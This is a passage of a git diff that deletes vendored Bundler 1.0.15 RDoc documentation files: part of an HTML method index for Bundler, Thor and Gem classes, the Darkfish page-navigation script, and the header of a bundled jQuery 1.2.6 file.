-			<li><a href="Bundler/SpecSet.html#method-i-merge">#merge &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-merge_remotes">#merge_remotes &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-method_added">#method_added &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-method_missing">#method_missing &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-method_missing">#method_missing &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/RemoteSpecification.html#method-i-method_missing">#method_missing &mdash; Bundler::RemoteSpecification</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mingw%3F">#mingw? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mingw_18%3F">#mingw_18? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mingw_19%3F">#mingw_19? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-missing_specs">#missing_specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mri%3F">#mri? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mri_18%3F">#mri_18? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mri_19%3F">#mri_19? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-mswin%3F">#mswin? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-name">#name &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-name">#name &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-name">#name &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-name">#name &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-name">#name &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-namespace">#namespace &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-new_platform%3F">#new_platform? &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-new_specs">#new_specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-no%3F">#no? &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-no_sources%3F">#no_sources? &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-no_tasks">#no_tasks &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Graph.html#method-i-nodes">#nodes &mdash; Bundler::Graph</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-nondevelopment_dependencies">#nondevelopment_dependencies &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Gem/Requirement.html#method-i-none%3F">#none? &mdash; Gem::Requirement</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-normalize_uri">#normalize_uri &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-not_debugging%3F">#not_debugging? &mdash; Thor::Task</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-open">#open &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-options">#options &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-package">#package &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-padding%3D">#padding= &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/LockfileParser.html#method-i-parse_dependency">#parse_dependency &mdash; Bundler::LockfileParser</a></li>
-		
-			<li><a href="Bundler/LockfileParser.html#method-i-parse_platform">#parse_platform &mdash; Bundler::LockfileParser</a></li>
-		
-			<li><a href="Bundler/LockfileParser.html#method-i-parse_source">#parse_source &mdash; Bundler::LockfileParser</a></li>
-		
-			<li><a href="Bundler/LockfileParser.html#method-i-parse_spec">#parse_spec &mdash; Bundler::LockfileParser</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-path">#path &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-path">#path &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-path">#path &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-path">#path &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-perform_git_push">#perform_git_push &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-platform">#platform &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-platforms">#platforms &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-platforms">#platforms &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Bundler/Graph.html#method-i-populate">#populate &mdash; Bundler::Graph</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-prepend_file">#prepend_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-preserve_paths">#preserve_paths &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/AlmostModern.html#method-i-preserve_paths">#preserve_paths &mdash; Bundler::RubygemsIntegration::AlmostModern</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-pretty_dep">#pretty_dep &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-pretty_values_for">#pretty_values_for &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-print_options">#print_options &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-print_table">#print_table &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-print_wrapped">#print_wrapped &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-prune_cache">#prune_cache &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-rbx%3F">#rbx? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-read_binary">#read_binary &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-relative_path">#relative_path &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-relative_to_original_destination_root">#relative_to_original_destination_root &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-release_gem">#release_gem &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-remote%21">#remote! &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-remote%21">#remote! &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-remote_specs">#remote_specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-remove_argument">#remove_argument &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-remove_class_option">#remove_class_option &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-remove_dir">#remove_dir &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-remove_file">#remove_file &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-remove_task">#remove_task &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-removed_specs">#removed_specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-replace_bin_path">#replace_bin_path &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-replace_entrypoints">#replace_entrypoints &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-replace_gem">#replace_gem &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-replace_refresh">#replace_refresh &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-requested_dependencies">#requested_dependencies &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-requested_specs">#requested_specs &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-requested_specs">#requested_specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-require">#require &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-required_by">#required_by &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-required_by">#required_by &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-required_options">#required_options &mdash; Thor::Task</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-requirement">#requirement &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-resolve">#resolve &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-resolve">#resolve &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-resolve_remotely%21">#resolve_remotely! &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-resolve_requirement">#resolve_requirement &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-resolve_with_cache%21">#resolve_with_cache! &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-respond_to%3F">#respond_to? &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-reverse_rubygems_kernel_mixin">#reverse_rubygems_kernel_mixin &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-revision">#revision &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-rg_full_gem_path">#rg_full_gem_path &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-rg_loaded_from">#rg_loaded_from &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-ruby%3F">#ruby? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-ruby_18%3F">#ruby_18? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-ruby_19%3F">#ruby_19? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-ruby_engine">#ruby_engine &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-rubygem_push">#rubygem_push &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-rubygems_index">#rubygems_index &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-rubygems_source">#rubygems_source &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Thor/Task.html#method-i-run">#run &mdash; Thor::Task</a></li>
-		
-			<li><a href="Bundler/Installer.html#method-i-run">#run &mdash; Bundler::Installer</a></li>
-		
-			<li><a href="Thor/DynamicTask.html#method-i-run">#run &mdash; Thor::DynamicTask</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-run">#run &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-run_ruby_script">#run_ruby_script &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-same_version%3F">#same_version? &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-satisfies%3F">#satisfies? &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-satisfies_locked_spec%3F">#satisfies_locked_spec? &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-say">#say &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/UI/RGProxy.html#method-i-say">#say &mdash; Bundler::UI::RGProxy</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-say_status">#say_status &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-search">#search &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-search">#search &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-search_by_dependency">#search_by_dependency &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-search_by_spec">#search_by_spec &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-search_for_all_platforms">#search_for_all_platforms &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Thor/Shell/HTML.html#method-i-set_color">#set_color &mdash; Thor::Shell::HTML</a></li>
-		
-			<li><a href="Thor/Shell/Color.html#method-i-set_color">#set_color &mdash; Thor::Shell::Color</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-set_global">#set_global &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-set_key">#set_key &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-setup">#setup &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Bundler/Runtime.html#method-i-setup_environment">#setup_environment &mdash; Bundler::Runtime</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-sh">#sh &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-sh_with_code">#sh_with_code &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Thor/Shell.html#method-i-shell">#shell &mdash; Thor::Shell</a></li>
-		
-			<li><a href="Thor/Shell.html#method-i-shell%3D">#shell= &mdash; Thor::Shell</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-shortref_for_display">#shortref_for_display &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-shortref_for_path">#shortref_for_path &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-should_include%3F">#should_include? &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-show">#show &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Deprecate.html#method-i-skip_during">#skip_during &mdash; Bundler::RubygemsIntegration::Deprecate</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-sorted">#sorted &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-sorted_sources">#sorted_sources &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-source">#source &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-source">#source &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Thor/Actions/ClassMethods.html#method-i-source_paths">#source_paths &mdash; Thor::Actions::ClassMethods</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-source_paths">#source_paths &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Actions/ClassMethods.html#method-i-source_paths_for_search">#source_paths_for_search &mdash; Thor::Actions::ClassMethods</a></li>
-		
-			<li><a href="Thor/Actions/ClassMethods.html#method-i-source_root">#source_root &mdash; Thor::Actions::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-sources">#sources &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-sources">#sources &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-sources%3D">#sources= &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-spec_from_gem">#spec_from_gem &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-spec_satisfies_dependency%3F">#spec_satisfies_dependency? &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-specs">#specs &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-specs">#specs &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-specs">#specs &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-specs">#specs &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-specs">#specs &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-specs_for">#specs_for &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-start">#start &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-start">#start &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Transitional.html#method-i-stub_rubygems">#stub_rubygems &mdash; Bundler::RubygemsIntegration::Transitional</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Modern.html#method-i-stub_rubygems">#stub_rubygems &mdash; Bundler::RubygemsIntegration::Modern</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration/Legacy.html#method-i-stub_rubygems">#stub_rubygems &mdash; Bundler::RubygemsIntegration::Legacy</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-stub_source_index137">#stub_source_index137 &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-stub_source_index170">#stub_source_index170 &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-successify">#successify &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-sudo">#sudo &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-tag_version">#tag_version &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Thor/Base/ClassMethods.html#method-i-tasks">#tasks &mdash; Thor::Base::ClassMethods</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-template">#template &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-terminal_width">#terminal_width &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Thor/Actions.html#method-i-thor">#thor &mdash; Thor::Actions</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-to_a">#to_a &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Dsl.html#method-i-to_definition">#to_definition &mdash; Bundler::Dsl</a></li>
-		
-			<li><a href="Gem/Specification.html#method-i-to_gemfile">#to_gemfile &mdash; Gem::Specification</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-to_hash">#to_hash &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-to_lock">#to_lock &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-to_lock">#to_lock &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/Dependency.html#method-i-to_lock">#to_lock &mdash; Bundler::Dependency</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-to_lock">#to_lock &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-to_lock">#to_lock &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-to_lock">#to_lock &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Bundler/Definition.html#method-i-to_lock">#to_lock &mdash; Bundler::Definition</a></li>
-		
-			<li><a href="Bundler/Source/Path.html#method-i-to_s">#to_s &mdash; Bundler::Source::Path</a></li>
-		
-			<li><a href="Bundler/Source/Rubygems.html#method-i-to_s">#to_s &mdash; Bundler::Source::Rubygems</a></li>
-		
-			<li><a href="Bundler/LazySpecification.html#method-i-to_s">#to_s &mdash; Bundler::LazySpecification</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-to_s">#to_s &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-to_s">#to_s &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-to_s">#to_s &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-to_specs">#to_specs &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Gem/Dependency.html#method-i-to_yaml_properties">#to_yaml_properties &mdash; Gem::Dependency</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-truncate">#truncate &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-tsort_each_child">#tsort_each_child &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-tsort_each_node">#tsort_each_node &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/DepProxy.html#method-i-type">#type &mdash; Bundler::DepProxy</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-ui%3D">#ui= &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-unix%3F">#unix? &mdash; Thor::Shell::Basic</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-unlock">#unlock &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-unlock%21">#unlock! &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Environment.html#method-i-update">#update &mdash; Bundler::Environment</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-update">#update &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-uri_escaped">#uri_escaped &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Source/Git.html#method-i-uri_hash">#uri_hash &mdash; Bundler::Source::Git</a></li>
-		
-			<li><a href="Bundler/Index.html#method-i-use">#use &mdash; Bundler::Index</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-user_home">#user_home &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Bundler/SpecSet.html#method-i-valid_for%3F">#valid_for? &mdash; Bundler::SpecSet</a></li>
-		
-			<li><a href="Bundler/Resolver/SpecGroup.html#method-i-version">#version &mdash; Bundler::Resolver::SpecGroup</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-version">#version &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-version">#version &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/Resolver.html#method-i-version_conflict">#version_conflict &mdash; Bundler::Resolver</a></li>
-		
-			<li><a href="Bundler/GemHelper.html#method-i-version_tag">#version_tag &mdash; Bundler::GemHelper</a></li>
-		
-			<li><a href="Bundler/CLI.html#method-i-viz">#viz &mdash; Bundler::CLI</a></li>
-		
-			<li><a href="Bundler/Graph.html#method-i-viz">#viz &mdash; Bundler::Graph</a></li>
-		
-			<li><a href="Bundler/UI.html#method-i-warn">#warn &mdash; Bundler::UI</a></li>
-		
-			<li><a href="Bundler/UI/Shell.html#method-i-warn">#warn &mdash; Bundler::UI::Shell</a></li>
-		
-			<li><a href="Bundler/RubygemsIntegration.html#method-i-with_build_args">#with_build_args &mdash; Bundler::RubygemsIntegration</a></li>
-		
-			<li><a href="Thor/Shell.html#method-i-with_padding">#with_padding &mdash; Thor::Shell</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-without">#without &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Bundler/Settings.html#method-i-without%3D">#without= &mdash; Bundler::Settings</a></li>
-		
-			<li><a href="Thor/Shell/Basic.html#method-i-yes%3F">#yes? &mdash; Thor::Shell::Basic</a></li>
-		
-	</ul>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-</body>
-</html>
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/darkfish.js b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/darkfish.js
deleted file mode 100644
index 84565c1e..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/darkfish.js
+++ /dev/null
@@ -1,116 +0,0 @@
-/**
- *
- * Darkfish Page Functions
- * $Id: darkfish.js 53 2009-01-07 02:52:03Z deveiant $
- *
- * Author: Michael Granger <mgranger@laika.com>
- *
- */
-
-/* Provide console simulation for firebug-less environments */
-if (!("console" in window) || !("firebug" in console)) {
-    var names = ["log", "debug", "info", "warn", "error", "assert", "dir", "dirxml",
-    "group", "groupEnd", "time", "timeEnd", "count", "trace", "profile", "profileEnd"];
-
-    window.console = {};
-    for (var i = 0; i < names.length; ++i)
-        window.console[names[i]] = function() {};
-};
-
-
-/**
- * Unwrap the first element that matches the given @expr@ from the targets and return them.
- */
-$.fn.unwrap = function( expr ) {
-  return this.each( function() {
-     $(this).parents( expr ).eq( 0 ).after( this ).remove();
-  });
-};
-
-
-function showSource( e ) {
-	var target = e.target;
-	var codeSections = $(target).
-		parents('.method-detail').
-		find('.method-source-code');
-
-	$(target).
-		parents('.method-detail').
-		find('.method-source-code').
-		slideToggle();
-};
-
-function hookSourceViews() {
-	$('.method-description,.method-heading').click( showSource );
-};
-
-function toggleDebuggingSection() {
-	$('.debugging-section').slideToggle();
-};
-
-function hookDebuggingToggle() {
-	$('#debugging-toggle img').click( toggleDebuggingSection );
-};
-
-function hookQuickSearch() {
-	$('.quicksearch-field').each( function() {
-		var searchElems = $(this).parents('.section').find( 'li' );
-		var toggle = $(this).parents('.section').find('h3 .search-toggle');
-		// console.debug( "Toggle is: %o", toggle );
-		var qsbox = $(this).parents('form').get( 0 );
-
-		$(this).quicksearch( this, searchElems, {
-			noSearchResultsIndicator: 'no-class-search-results',
-			focusOnLoad: false
-		});
-		$(toggle).click( function() {
-			// console.debug( "Toggling qsbox: %o", qsbox );
-			$(qsbox).toggle();
-		});
-	});
-};
-
-function highlightTarget( anchor ) {
-	console.debug( "Highlighting target '%s'.", anchor );
-
-	$("a[name=" + anchor + "]").each( function() {
-		if ( !$(this).parent().parent().hasClass('target-section') ) {
-			console.debug( "Wrapping the target-section" );
-			$('div.method-detail').unwrap( 'div.target-section' );
-			$(this).parent().wrap( '<div class="target-section"></div>' );
-		} else {
-			console.debug( "Already wrapped." );
-		}
-	});
-};
-
-function highlightLocationTarget() {
-	console.debug( "Location hash: %s", window.location.hash );
-	if ( ! window.location.hash || window.location.hash.length == 0 ) return;
-
-	var anchor = window.location.hash.substring(1);
-	console.debug( "Found anchor: %s; matching %s", anchor, "a[name=" + anchor + "]" );
-
-	highlightTarget( anchor );
-};
-
-function highlightClickTarget( event ) {
-	console.debug( "Highlighting click target for event %o", event.target );
-	try {
-		var anchor = $(event.target).attr( 'href' ).substring(1);
-		console.debug( "Found target anchor: %s", anchor );
-		highlightTarget( anchor );
-	} catch ( err ) {
-		console.error( "Exception while highlighting: %o", err );
-	};
-};
-
-
-$(document).ready( function() {
-	hookSourceViews();
-	hookDebuggingToggle();
-	hookQuickSearch();
-	highlightLocationTarget();
-
-	$('ul.link-list a').bind( "click", highlightClickTarget );
-});
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/jquery.js b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/jquery.js
deleted file mode 100644
index afe9e74c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/jquery.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * jQuery 1.2.6 - New Wave Javascript
- *
- * Copyright (c) 2008 John Resig (jquery.com)
- * Dual licensed under the MIT (MIT-LICENSE.txt)
- * and GPL (GPL-LICENSE.txt) licenses.
- *
- * $Date: 2008-09-25 09:50:52 -0700 (Thu, 25 Sep 2008) $
- * $Rev: 38 $
- */
